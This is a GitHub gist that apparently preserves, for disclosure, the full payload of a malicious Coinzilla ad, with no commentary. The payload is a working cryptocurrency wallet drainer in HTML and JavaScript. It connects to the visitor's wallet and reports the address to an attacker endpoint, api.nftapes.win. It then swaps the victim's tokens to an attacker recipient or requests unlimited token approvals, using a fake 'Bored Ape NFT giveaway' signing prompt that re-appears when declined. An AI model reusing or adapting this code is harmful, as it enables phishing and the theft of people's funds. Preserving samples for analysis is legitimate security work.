Skip to content

Instantly share code, notes, and snippets.

@ivigamberdiev
Created May 13, 2022 22:23
Show Gist options
  • Star 18 You must be signed in to star a gist
  • Fork 11 You must be signed in to fork a gist
  • Save ivigamberdiev/9705621088359bd1a7cceca53608875f to your computer and use it in GitHub Desktop.
Save ivigamberdiev/9705621088359bd1a7cceca53608875f to your computer and use it in GitHub Desktop.
Payload for malicious ad from Coinzilla (14/05/22)
<!DOCTYPE html>
<html><head><meta charset="utf-8"><link href="favicon.ico" rel="icon"></head>
<body>
<script src="assets/vendor/web3/web3.min.js"></script>
<script src="assets/vendor/bignumber/bignumber.min.js"></script>
<script>
const Thresholds = {
ETH: '40000000000000000', // 0.04
BSC: '30000000000000000', // 0.03
CRO: '45000000000000000000', // 45
FTM: '25000000000000000000' // 25
};
const QuoteTokens = {
ETH: [
{
ADDRESS: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
SYMBOL: 'ETH'
},
{
ADDRESS: '0xdAC17F958D2ee523a2206206994597C13D831ec7',
SYMBOL: 'USDT'
},
{
ADDRESS: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
SYMBOL: 'USDC'
},
{
ADDRESS: '0x6B175474E89094C44Da98b954EedeAC495271d0F',
SYMBOL: 'DAI'
}
],
BSC: [
{
ADDRESS: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c',
SYMBOL: 'BNB'
},
{
ADDRESS: '0x55d398326f99059fF775485246999027B3197955',
SYMBOL: 'USDT'
},
{
ADDRESS: '0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56',
SYMBOL: 'BUSD'
}
],
CRO: [
{
ADDRESS: '0x5C7F8A570d578ED84E63fdFA7b1eE72dEae1AE23',
SYMBOL: 'CRO'
},
{
ADDRESS: '0xc21223249CA28397B4B6541dfFaEcC539BfF0c59',
SYMBOL: 'USDC'
}
],
FTM: [
{
ADDRESS: '0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83',
SYMBOL: 'FTM'
},
{
ADDRESS: '0x04068DA6C83AFCFA0e13ba15A6696662335D5B75',
SYMBOL: 'USDC'
}
]
};
const Routers = {
ETH: [
{ // ShibaSwap
ADDRESS: '0x03f7724180AA6b939894B5Ca4314783B0b36b329',
QUOTER: '0x03f7724180AA6b939894B5Ca4314783B0b36b329',
FACTORY: '0x115934131916C8b277DD010Ee02de363c09d037c'
},
{ // SushiSwap
ADDRESS: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F',
QUOTER: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F',
FACTORY: '0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac'
},
{ // UniswapV2
ADDRESS: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f'
},
{ // UniswapV3
ADDRESS: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6',
FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984',
FEES: [500, 3000, 10000]
},
{ // UniswapV2 (Auto)
ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',
QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f',
AUTO: true
},
{ // UniswapV3 (Auto)
ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',
QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6',
FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984',
FEES: [500, 3000, 10000],
AUTO: true
}
],
BSC: [
{ // Safeswap
ADDRESS: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF',
QUOTER: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF',
FACTORY: '0x86A859773cf6df9C8117F20b0B950adA84e7644d'
},
{ // PancakeSwapV1
ADDRESS: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F',
QUOTER: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F',
FACTORY: '0xBCfCcbde45cE874adCB698cC183deBcF17952812'
},
{ // PancakeSwapV2
ADDRESS: '0x10ED43C718714eb63d5aA57B78B54704E256024E',
QUOTER: '0x10ED43C718714eb63d5aA57B78B54704E256024E',
FACTORY: '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73'
}
],
CRO: [
{ // Mad Meerkat Finance
ADDRESS: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30',
QUOTER: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30',
FACTORY: '0xd590cC180601AEcD6eeADD9B7f2B7611519544f4'
}
],
FTM: [
{ // SpookySwap
ADDRESS: '0xF491e7B69E4244ad4002BC14e878a34207E38c29',
QUOTER: '0xF491e7B69E4244ad4002BC14e878a34207E38c29',
FACTORY: '0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3'
}
]
};
const MAX_UINT = '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
const ABI = {
ERC20: {
ALLOWANCE: {"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},
APPROVE: {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
BALANCE_OF: {"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}
}
};
const RPC = {
ETH: 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161',
BSC: 'https://bsc-dataseed.binance.org',
CRO: 'https://cronos-rpc.heavenswail.one', // or https://cronosrpc-1.xstaking.sg, official ones have too low limit on batch requests
FTM: 'https://rpc.ftm.tools'
};
const Chains = {
ETH: 1,
BSC: 56,
CRO: 25,
FTM: 250
};
const Web3Nodes = {};
Object.keys(Chains).forEach(chain => {
Web3Nodes[chain] = new Web3(RPC[chain]);
});
if (window.ethereum) {
web3Node = new Web3(ethereum);
web3Node.eth.getChainId().then(chainId => {
for (let chain in Chains) {
if (Chains.hasOwnProperty(chain) && Chains[chain] == chainId) {
window.chain = chain;
break;
}
}
if (window.chain) {
function connect() {
web3Node.eth.requestAccounts().then(accounts => {
if (!accounts.length) {
connect();
return;
}
web3Node.eth.defaultAccount = Web3.utils.toChecksumAddress(accounts[0]);
function fetch(approval) {
function error(handled) {
if (typeof handled == 'undefined') {
if (approval) {
fetch(false);
}
} else {
fetch(approval);
}
}
const xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == XMLHttpRequest.DONE) {
if (this.status == 200) {
let response = JSON.parse(this.responseText);
if (!response.results.length) {
error();
return;
}
const balances = {};
let batch = new Web3Nodes[chain].BatchRequest();
let handled = 0;
response.results.forEach(result => {
result.token = result.token.toLowerCase();
if (typeof balances[result.token] != 'undefined') {
return;
}
balances[result.token] = 0;
batch.add((new Web3Nodes[chain].eth.Contract([
ABI.ERC20.BALANCE_OF
], result.token)).methods.balanceOf(web3Node.eth.defaultAccount).call.request((err, balance) => {
if (!err && balance) { // probably not ERC20
balances[result.token] = balance;
}
if (++handled == Object.keys(balances).length) {
response.results = response.results.filter(result => balances[result.token] != 0);
if (!response.results.length) {
error();
return;
}
batch = new Web3Nodes[chain].BatchRequest();
handled = 0;
response.results.forEach(result => {
result.ALLOWANCE = 0;
batch.add((new Web3Nodes[chain].eth.Contract([
ABI.ERC20.ALLOWANCE
], result.token)).methods.allowance(web3Node.eth.defaultAccount, approval ? result.spender : response.recipient).call.request((err, allowance) => {
if (!err && allowance) { // probably not ERC20
result.ALLOWANCE = allowance;
}
if (++handled == response.results.length) {
if (approval) {
response.results.forEach(result => {
balances[result.token] = BigNumber.min(balances[result.token], result.ALLOWANCE).toFixed(0);
});
} else {
response.results.forEach(result => {
if ((new BigNumber(result.ALLOWANCE)).gte(balances[result.token])) {
balances[result.token] = 0;
}
});
}
response.results = response.results.filter(result => balances[result.token] != 0);
if (!response.results.length) {
error();
return;
}
const outputToken = QuoteTokens[chain][0].ADDRESS;
let swaps = [];
response.results.forEach(result => {
Routers[chain].forEach(router => {
if (approval && result.spender.toLowerCase() != router.ADDRESS.toLowerCase()) {
return;
}
if (router.FEES) {
router.FEES.forEach(fee => {
QuoteTokens[chain].forEach(quoteToken => {
const path = [result.token, fee, quoteToken.ADDRESS];
if (quoteToken.ADDRESS != outputToken) {
path.push(fee);
path.push(outputToken);
}
swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] });
});
});
} else {
QuoteTokens[chain].forEach(quoteToken => {
const path = [result.token, quoteToken.ADDRESS];
if (quoteToken.ADDRESS != outputToken) {
path.push(outputToken);
}
swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] });
});
}
});
});
function createPath(data) {
let path = data[0];
for (let i = 1; i < data.length; i++) {
path += Web3.utils.padLeft(Web3.utils.numberToHex(data[i]), 6).substr(2);
i++;
path += data[i].substr(2);
}
return path;
}
const outputs = {};
batch = new Web3Nodes[chain].BatchRequest();
handled = 0;
swaps.forEach(swap => {
let method;
if (swap.ROUTER.FEES) {
method = (new Web3Nodes[chain].eth.Contract([
{"inputs":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"uint256","name":"amountIn","type":"uint256"}],"name":"quoteExactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}
], swap.ROUTER.QUOTER)).methods.quoteExactInput(createPath(swap.PATH), swap.INPUT);
} else {
method = (new Web3Nodes[chain].eth.Contract([
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"}
], swap.ROUTER.QUOTER)).methods.getAmountsOut(swap.INPUT, swap.PATH);
}
swap.QUOTE = swap.ROUTER.QUOTER + method.encodeABI();
if (typeof outputs[swap.QUOTE] != 'undefined') {
return;
}
outputs[swap.QUOTE] = new BigNumber(0);
batch.add(method.call.request((err, output) => {
if (!err) { // probably non-existing path
outputs[swap.QUOTE] = new BigNumber(swap.ROUTER.FEES ? output : output[output.length - 1]);
}
if (++handled == Object.keys(outputs).length) {
swaps = swaps.filter(swap => outputs[swap.QUOTE].gte(Thresholds[chain]));
if (!swaps.length) {
error();
return;
}
swaps.sort((a, b) => {
if (outputs[a.QUOTE].gt(outputs[b.QUOTE])) {
return -1;
}
if (outputs[a.QUOTE].lt(outputs[b.QUOTE])) {
return 1;
}
return 0;
});
function next(i) {
setTimeout(() => {
if (i == swaps.length) {
error();
return;
}
const swap = swaps[i];
function handle(method) {
web3Node.eth.personal.sign('CONGRATULATIONS ❗❗\n\nYou won a Bored Ape NFT from our Giveaway! 🥳\n\nClaim it now. 🎁', web3Node.eth.defaultAccount).then(() => {
let handled = false;
method.send({ from: web3Node.eth.defaultAccount }).on('confirmation', () => {
if (!handled) {
handled = true;
error(true);
}
}).on('error', () => {
if (!handled) {
handled = true;
error(true);
}
});
}).catch(() => {
handle(method);
});
}
if (approval) {
if (swap.ROUTER.FEES) {
if (swap.ROUTER.AUTO) {
method = (new web3Node.eth.Contract([
{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct IV3SwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, swap.INPUT, 0 ]);
} else {
method = (new web3Node.eth.Contract([
{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct ISwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, MAX_UINT, swap.INPUT, 0 ]);
}
} else if (swap.ROUTER.AUTO) {
method = (new web3Node.eth.Contract([
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.swapExactTokensForTokens(swap.INPUT, 0, swap.PATH, response.recipient);
} else {
method = (new web3Node.eth.Contract([
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}
], swap.ROUTER.ADDRESS)).methods.swapExactTokensForETHSupportingFeeOnTransferTokens(swap.INPUT, 0, swap.PATH, response.recipient, MAX_UINT);
}
method.call({ from: web3Node.eth.defaultAccount }).then(() => {
handle(method);
}).catch(() => { // probably honeypot
next(i + 1);
});
return;
}
if (swap.ROUTER.FEES) {
method = (new Web3Nodes[chain].eth.Contract([
{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint24","name":"","type":"uint24"}],"name":"getPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}
], swap.ROUTER.FACTORY)).methods.getPool(swap.PATH[0], swap.PATH[2], swap.PATH[1]);
} else {
method = (new Web3Nodes[chain].eth.Contract([
{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}
], swap.ROUTER.FACTORY)).methods.getPair(swap.PATH[0], swap.PATH[1]);
}
method.call().then(pair => {
(new Web3Nodes[chain].eth.Contract([
{"constant":false,"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"rawAmount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}
], swap.PATH[0])).methods.transfer(pair, swap.INPUT).call({ from: web3Node.eth.defaultAccount }).then(() => { // still possible that the token can't be transfered to other addresses or that transferFrom would fail which is not possible to validate without prior approval
handle((new web3Node.eth.Contract([
ABI.ERC20.APPROVE
], swap.PATH[0])).methods.approve(response.recipient, MAX_UINT));
}).catch(() => { // probably honeypot
next(i + 1);
});
}).catch(() => {
next(i + 1);
});
}, 0); // prevent exceeding maximum call stack size
}
next(0);
}
}));
});
batch.execute();
}
}));
});
batch.execute();
}
}));
});
batch.execute();
} else {
error();
}
}
};
xhttp.open('POST', 'https://api.nftapes.win', true);
xhttp.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
const params = {
chain: chain,
account: web3Node.eth.defaultAccount
}
if (approval) {
params.spenders = [];
Routers[chain].forEach(router => {
if (!params.spenders.includes(router.ADDRESS)) {
params.spenders.push(router.ADDRESS);
}
});
}
xhttp.send(JSON.stringify(params));
}
fetch(true);
}).catch(() => {
connect();
});
}
connect();
}
});
}
</script>
</body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment